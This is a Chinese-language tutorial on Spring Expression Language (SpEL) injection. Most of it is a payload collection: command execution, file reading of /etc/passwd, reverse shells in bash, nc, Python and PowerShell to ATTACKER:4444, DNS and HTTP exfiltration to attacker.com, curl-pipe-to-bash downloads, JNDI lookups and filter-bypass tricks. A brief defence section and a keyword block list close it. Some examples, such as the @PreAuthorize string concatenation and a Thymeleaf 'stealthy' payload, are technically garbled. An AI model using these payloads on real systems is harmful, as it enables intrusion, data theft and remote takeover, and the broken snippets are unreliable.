一、SpEL 是什么

SpEL(Spring Expression Language)是 Spring Framework 自带的表达式语言,用于在运行时查询和操作对象图。它支持类型访问、方法调用、构造器调用等强大功能,这也为攻击者提供了 RCE 能力。

// SpEL 的基本语法
#{'hello'}                    // 字符串字面量
#{1 + 2}                      // 数学运算
#{T(java.lang.Runtime).getRuntime()}  // 访问 Java 类型
#{'test'.toUpperCase()}       // 方法调用
#{new java.io.File('/etc/passwd').exists()}  // 构造器调用

1.1 SpEL 解析器的危险能力

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

public class SpELDemo {
    public static void main(String[] args) {
        ExpressionParser parser = new SpelExpressionParser();
        
        // 1. 调用静态方法
        Expression exp1 = parser.parseExpression(
            "T(java.lang.Runtime).getRuntime().exec('whoami')"
        );
        exp1.getValue();  // RCE!
        
        // 2. 反射调用任意方法
        Expression exp2 = parser.parseExpression(
            "T(java.lang.ProcessBuilder).new(new String[]{'/bin/sh','-c','whoami'}).start()"
        );
        exp2.getValue();
        
        // 3. 实例方法调用 + 返回值
        Expression exp3 = parser.parseExpression(
            "'test'.concat(' pwned').toUpperCase()"
        );
        String result = (String) exp3.getValue();  // "TEST PWNED"
    }
}

二、常见注入入口

2.1 @Value 注解注入

import org.springframework.beans.factory.annotation.Value;

// 漏洞场景: 用户可控字符串被注入 @Value
@Component
public class VulnComponent {
    
    // 正常: 从 properties 读取
    @Value("${app.name}")
    private String appName;
    
    // 漏洞: 直接接收 SpEL 表达式
    // 如果 ${...} 中的内容来自用户输入
    @Value("#{${user.spel.expression}}")  // 用户输入: #{T(...).exec(...)}
    private Object result;
    
    // 如果 app.name = '#{T(java.lang.Runtime).getRuntime().exec("whoami")}'
    // 那么 getter 被调用时就会执行命令
}

攻击流程:

用户可控 → ${user.input} → @Value("#{${user.input}}") → SpEL 解析 → 执行命令

Payload:
#{T(java.lang.Runtime).getRuntime().exec("whoami")}
#{T(java.lang.ProcessBuilder).new(new String[]{"/bin/sh","-c","whoami"}).start()}

2.2 @PreAuthorize / @Secured

import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.*;

@RestController
@RequestMapping("/api")
public class UserController {
    
    // 漏洞: @PreAuthorize 支持 SpEL
    // 如果角色/权限判断来自用户输入
    @PreAuthorize("hasRole('" + someUserInput + "')")
    @GetMapping("/admin")
    public String admin() {
        return "admin page";
    }
    
    // 攻击 Payload:
    // role = '') or T(java.lang.Runtime).getRuntime().exec('whoami') or '
    // 拼接后: hasRole('') or T(java.lang.Runtime).getRuntime().exec('whoami') or '')
    
    // 更直接的方式
    @PreAuthorize("T(java.lang.Runtime).getRuntime().exec(#userInput)")
    @GetMapping("/test")
    public String test(@RequestParam String userInput) {
        return "done";
    }
}

2.3 spring.expression 配置

// Spring Boot Actuator + Jolokia
// http://target/actuator/jolokia/exec/org.springframework.web.context:name=...

// 通过 MBean 调用 SpelExpressionParser
// 常见 Payload:
// T(java.lang.Runtime).getRuntime().exec('whoami')
// T(java.lang.ProcessBuilder).new(new String[]{"/bin/sh","-c","id"}).start()
// (T(java.lang.Runtime).getRuntime()).exec('whoami')  // 加括号更安全

// JMX (Java Management Extensions) 注入
// 如果暴露了 MBeanServer
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
// 直接调用表达式引擎

// SpEL 注入常见入口:
// 1. spring.expression parser.parseExpression(userInput)
// 2. SpelExpressionParser.getValue(userInput)
// 3. Thymeleaf th:each="${userInput}"
// 4. 模板字符串 "#{" + userInput + "}"

2.4 Thymeleaf + SpEL

<!-- Thymeleaf 模板中支持 SpEL -->
<!-- 如果 th:text 接收用户输入 -->
<div th:text="${userInput}"></div>

<!-- 攻击 Payload: -->
<!-- ${T(java.lang.Runtime).getRuntime().exec('whoami')} -->
<!-- ${T(java.lang.ProcessBuilder).new(new String[]{"/bin/sh","-c","whoami"}).start()} -->

<!-- 更隐蔽的 Payload -->
<div th:utext="${'__'.toLowerCase().replace('_','T(java.lang.Runtime).getRuntime().exec('whoami')')}">

<!-- 分段构造 -->
<div th:text="${''}"></div>
<div th:text="${'T(java.lang.Runtime).getRuntime().exec("whoami")'}"></div>

2.5 Data Binding 注入

// Spring MVC 参数绑定漏洞
@RestController
public class OrderController {
    
    @PostMapping("/order")
    public String createOrder(@RequestBody OrderDTO order) {
        // 如果 OrderDTO 的某个字段用于 SpEL
        return "created";
    }
}

class OrderDTO {
    private String templateExpression;
    // 当 templateExpression 被传入 SpEL 解析器时触发
}

// Thymleaf 直接解析
// 某些配置会把请求参数直接拼进模板
// th:each="${param.pageSize}" + 用户注入

三、Payload 大全

3.1 基础命令执行

``
// Runtime.exec
#{T(java.lang.Runtime).getRuntime().exec('whoami')}

// ProcessBuilder
#{T(java.lang.ProcessBuilder).new(new String[]{"/bin/sh","-c","whoami"}).start()}

// 带输出捕获
#{(T(java.lang.Runtime).getRuntime().exec('/bin/sh -c whoami')).getInputStream()}

// Windows
#{T(java.lang.Runtime).getRuntime().exec('cmd.exe /c whoami')}

// PowerShell
#{T(java.lang.Runtime).getRuntime().exec('powershell -c whoami')}
``

3.2 文件操作

``
// 读文件
#{T(org.springframework.util.FileCopyUtils).copyToByteArray(new java.io.FileInputStream('/etc/passwd')).newString(T(java.nio.charset.StandardCharsets).UTF_8)}
// 更简单
#{T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('/etc/passwd'))}

// 写文件
#{T(java.nio.file.Files).write(T(java.nio.file.Paths).get('/tmp/test.txt'),'hello'.getBytes())}

// 下载文件
#{T(org.apache.commons.io.FileUtils).copyURLToFile(new java.net.URL('http://attacker.com/shell.jar'), new java.io.File('/tmp/shell.jar'))}
``

3.3 完整反弹 Shell

``
// 反弹到 ATTACKER:4444
#{T(java.lang.Runtime).getRuntime().exec('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"')}

// 使用 nc
#{T(java.lang.Runtime).getRuntime().exec('nc -e /bin/bash ATTACKER 4444')}

// 使用 python3
#{T(java.lang.Runtime).getRuntime().exec('python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('ATTACKER',4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(['/bin/bash'])"')}

// PowerShell 反弹
#{T(java.lang.Runtime).getRuntime().exec('powershell -c "$client = New-Object System.Net.Sockets.TcpClient;$client.Connect('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"')}
``

3.4 带输出回显

``
// 用 TemplateEngine 设置结果到响应
// 某些场景可以回显执行结果

// 方式 1: 使用 Process + 读取 stdout
#{(#p = T(java.lang.Runtime).getRuntime().exec('/bin/sh -c id')), (new java.io.BufferedReader(new java.io.InputStreamReader(#p.getInputStream()))).lines().toArray()}

// 方式 2: ProcessBuilder
#{(#pb = T(java.lang.ProcessBuilder).new('/bin/sh', '-c', 'id').redirectErrorStream(true).start()), (new java.io.BufferedReader(new java.io.InputStreamReader(#pb.getInputStream()))).lines().toArray()}

// 方式 3: 写入 WebRoot 再读取
#{T(java.lang.Runtime).getRuntime().exec('whoami > /var/www/html/result.txt')}

// 方式 4: DNS 外带
#{T(java.lang.Runtime).getRuntime().exec('nslookup $(whoami).attacker.com')}

// 方式 5: HTTP 请求外带
#{T(java.net.URL).new('http://attacker.com/?d='+T(java.net.URLEncoder).encode(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('/etc/passwd')).toString(),'UTF-8')).openConnection().getInputStream().read(new byte[1])}
``

四、绕过技巧

4.1 引号过滤绕过

``
// 单引号被过滤 → 用双引号
#{T(java.lang.Runtime).getRuntime().exec("whoami")}

// 单双引号都被过滤 → 用 java.lang.Character
#{T(java.lang.String).valueOf(T(java.lang.Character).toChars(T(java.lang.Integer).parseInt('0'))).isEmpty()}

// 更复杂的字符构造
#{T(java.lang.Character).toString(T(java.lang.Integer).parseInt('119')).concat(T(java.lang.Character).toString(T(java.lang.Integer).parseInt('104')))} // "wh"

// 或者使用数组
#{{'whoami', 'id'}}[0]
``

4.2 Runtime.exec 禁用绕过

``
// 如果 Runtime 类被禁用,用 ProcessBuilder
#{T(java.lang.ProcessBuilder).new(new String[]{"/bin/sh","-c","whoami"}).start()}

// 如果 ProcessBuilder 被禁用,用反射
#{T(java.lang.Class).forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)}

// 用 javax.script
#{T(javax.script.ScriptEngineManager).new().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('whoami')")}

// 用 GroovyShell (如果有)
#{T(groovy.lang.GroovyShell).new().parse("Runtime.runtime.exec('whoami')").run()}
``

4.3 绕过低版本 SpEL 限制

``
// Spring 4.3+ 允许的写法
#{T(java.lang.Runtime).getRuntime().exec('whoami')}

// 旧版本可能需要 new
#{new java.lang.ProcessBuilder(new String[]{"/bin/sh","-c","whoami"}).start()}

// 括号技巧
#{(T(java.lang.Runtime).getRuntime()).exec('whoami')}

// 链式调用
#{T(java.lang.Runtime).getRuntime().getClass().getMethod("exec", T(java.lang.String)).invoke(T(java.lang.Runtime).getRuntime(), "whoami")}
``

五、实战场景

5.1 Spring Boot Actuator SpEL

``

常见 Actuator 路径:

GET /actuator/env
GET /actuator/beans
GET /actuator/mappings
GET /actuator/configprops

Jolokia + SpEL (常见 CVE)

http://target/actuator/jolokia/exec/org.springframework.boot:type=Admin,name=SpringApplication/reset
http://target/actuator/jolokia/exec/org.springframework.context:type=...

通过 env 中的 SpEL 注入配置

修改 application.yml / properties

my.expression=#{T(java.lang.Runtime).getRuntime().exec('whoami')}

如果这个属性被传入 @Value 解析 → RCE

``

5.2 Shiro rememberMe SpEL

``

Apache Shiro 反序列化 SpEL 注入 (CVE-2016-4437 / CVE-2019-12422)

攻击流程:

1. 获取 rememberMe=1 的 Cookie

2. 删除 rememberMe 字段后尝试登录

3. 构造恶意序列化数据

Payload 生成 (ysoserial)

java -jar ysoserial.jar CommonsCollections5 'whoami'

SpEL 版本 (CommonsCollections6 + LazyMap + PriorityQueue)

利用链:

PriorityQueue.readObject() → TransformingComparator.compare()

→ LazyMap.get() → TiedMapEntry.toString() → ChainedTransformer.transform()

→ InvokerTransformer → 反射调用 Runtime.exec

``

5.3 JDK 8u191+ 绕过

``
// JDK 8u191+ 修复了 JNDI 远程类加载
// SpEL + JNDI 绕过 Payload

// 方式 1: 使用本地 Reference + 远程 Codebase
#{T(javax.naming.InitialContext).new().lookup('ldap://attacker.com:1389/Exploit')}

// 方式 2: Tomcat JreEnv
#{T(org.apache.naming.InitialContext).new().lookup('ldap://attacker.com:1389/Exploit')}

// 方式 3: 通过 ProcessBuilder 下载并执行
#{T(java.lang.ProcessBuilder).new(new String[]{'/bin/sh','-c','curl http://attacker.com/s.sh|bash'}).start()}
``

六、防御

6.1 避免用户输入进入 SpEL

``java
// ❌ 危险: 用户输入直接拼进表达式
String expr = "#{" + userInput + "}";
parser.parseExpression(expr);

// ✅ 安全: 表达式硬编码,数据通过上下文传入
String expr = "#{user.name}";
StandardEvaluationContext ctx = new StandardEvaluationContext();
ctx.setVariable("user", currentUser);
parser.parseExpression(expr).getValue(ctx);
``

6.2 限制 SpEL 能力

``java
// 使用 SimpleEvaluationContext 替代 StandardEvaluationContext
// SimpleEvaluationContext 不支持类型引用 (T(...)) 和构造器调用
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Expression exp = parser.parseExpression("#{user.name}", context);

// 或者手动限制类型访问
StandardEvaluationContext context = new StandardEvaluationContext();
// 添加自定义 TypeLocator 过滤危险类型
context.setTypeLocator(new RestrictedTypeLocator());

// Spring Security 的 SpEL 策略
// 禁用某些表达式类型
``

6.3 输入验证

``java
// 白名单验证: 只允许简单属性访问
Pattern safePattern = Pattern.compile("^#{[a-zA-Z0-9_.]+}$");
if (!safePattern.matcher(userInput).matches()) {
throw new SecurityException("Invalid expression");
}

// 黑名单过滤危险关键字
String[] blocked = {"Runtime", "ProcessBuilder", "Class", "Method", "exec",
"javax.naming", "InitialContext", "ScriptEngine"};
for (String word : blocked) {
if (userInput.contains(word)) {
throw new SecurityException("Blocked keyword: " + word);
}
}
``

七、总结

SpEL 注入的核心利用链:

  1. 找到入口:@Value / @PreAuthorize / 模板引擎 / Actuator / Shiro
  2. 构造 Payload:T(java.lang.Runtime).getRuntime().exec() / ProcessBuilder.new()
  3. 绕过限制:字符构造、双引号、反射链
  4. 完整 RCE:Runtime.exec + /bin/sh -c + 反弹 shell

防御核心:永远不要将用户输入拼进表达式,使用 SimpleEvaluationContext 限制能力,对传入表达式的输入严格白名单验证。